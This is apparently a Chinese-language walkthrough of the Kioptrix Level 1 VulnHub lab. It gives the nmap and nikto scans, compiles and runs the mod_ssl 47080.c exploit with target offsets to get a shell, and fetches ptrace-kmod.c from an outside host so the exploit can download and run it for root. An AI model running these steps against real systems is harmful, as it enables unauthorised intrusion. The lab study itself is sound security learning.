Kioptrix Level 1 靶机wp
主机探活
这次的靶机刚开始扫描不到网络，上网搜索，得到解决办法如下：
将下载的靶机文件中后缀为 vmx 的文件中的 bridged 改为 nat 即可（一共两个，改前一个即可）
参考文章：https://blog.csdn.net/Viv233/article/details/104103628
nmap -sP 192.168.159.0/24
这里我本地的截图丢了，找不到了，凑活看吧，能明白就好，后面重点的地方图都在
得到主机IP：192.168.159.156
端口发现
nmap -sV -p- -A 192.168.159.156
图丢了。。。不影响。。。
开放端口：22、80、139、443、1024
80端口
nikto
nikto -h 192.168.159.156
发现了一个 mod_ssl 模块，显示这个版本可能存在 远程栈溢出导致的 REC漏洞（日常丢图，大家做的时候敲命令就行。。。）
mod_ssl
尝试利用mod_ssl模块直接获取权限
searchsploit mod_ssl 2.8.4
找到了三个可用文件，但是经过测试只有一个文件可以使用
searchsploit -m 47080.c #将文件移到当前文件夹
编译运行
gcc -o EXP 47080.c -lcrypto
设置相应的参数
版本、目标IP、端口、线程
之前的namp扫描得出其系统与apache版本信息：RedHat Linux 和 Apache 1.3.20
找到两个相对应的参数，挨个尝试
./EXP 0x6a 192.168.159.156 443 -40
./EXP 0x6b 192.168.159.156 443 -40
0x6a 失败，未能成功反弹shell
0x6b 成功
获得apache权限
提权
setuid
find / -perm -u=s -type f 2>/dev/null
没啥特殊的
计划任务
crontab -l
cat /etc/crontab
emmm，几个文件看了都是只读，我没看出来有什么可以利用的。。。
sudo
不知道密码，寄
信息收集
各个目录下找了好久，没有啥有价值的信息。。。
上脚本
python -m SimpleHTTPServer 80 #服务端
wget 192.168.159.131/pspy64 #客户端
传了两个版本都跑不起来。。。应该是没有运行权限，或者是操作系统版本太低了。。。
？？？从做系统版本低？有没有可能直接有操作系统层面的漏洞？
操作系统漏洞
uname -a #查看操作系统版本
Linux 2.4.7-10
searchsploit Linux 2.4.7-10 Privilege Escalation
Privilege Escalation 权限提升
试了几个，都不行。。。不想试了。。。
没法子了，去网上搜索一下别人的 wp 吧，以下内容参考:
Kioptrix Level 1 - vulnhub 演练 - NetOSec
mod_ssl脚本完全体
我们发现，在运行之前的mod_ssl脚本时其实是有报错的
这我是真没注意。。。
所以说以后还是要注意细节啊！！！
缺少一个文件：ptrace-kmod.c，该程序试图下载另一个源文件进行编译和执行，但失败了。
在之前的脚本中找到这个文件位置
https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
我们先把它下载下来：
wget https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
把源文件中的下载地址改为本机地址：
本地开一个服务器：
python -m SimpleHTTPServer 80
重新编译脚本文件并运行：
gcc -o EXP 47080.c -lcrypto
./EXP
还是老报错，但我直接命令行 wget 就能成功。。。
这里其实是因为这个下载操作是在靶机上实现的，127的IP肯定不行，要用192的IP地址。。。md，脑瘫了，搞了好久。。。
重新编译运行
终于成功了，呜呜呜呜呜，泪流满面！！！
附
看网上别的大佬们的wp，发现这个靶机还有其他的方式可以攻破，比如利用smb的漏洞直接获取root权限。
我就不写了，想了解的朋友可以参考这位大佬文章：https://netosec.com/kioptrix-level-1-vulnhub/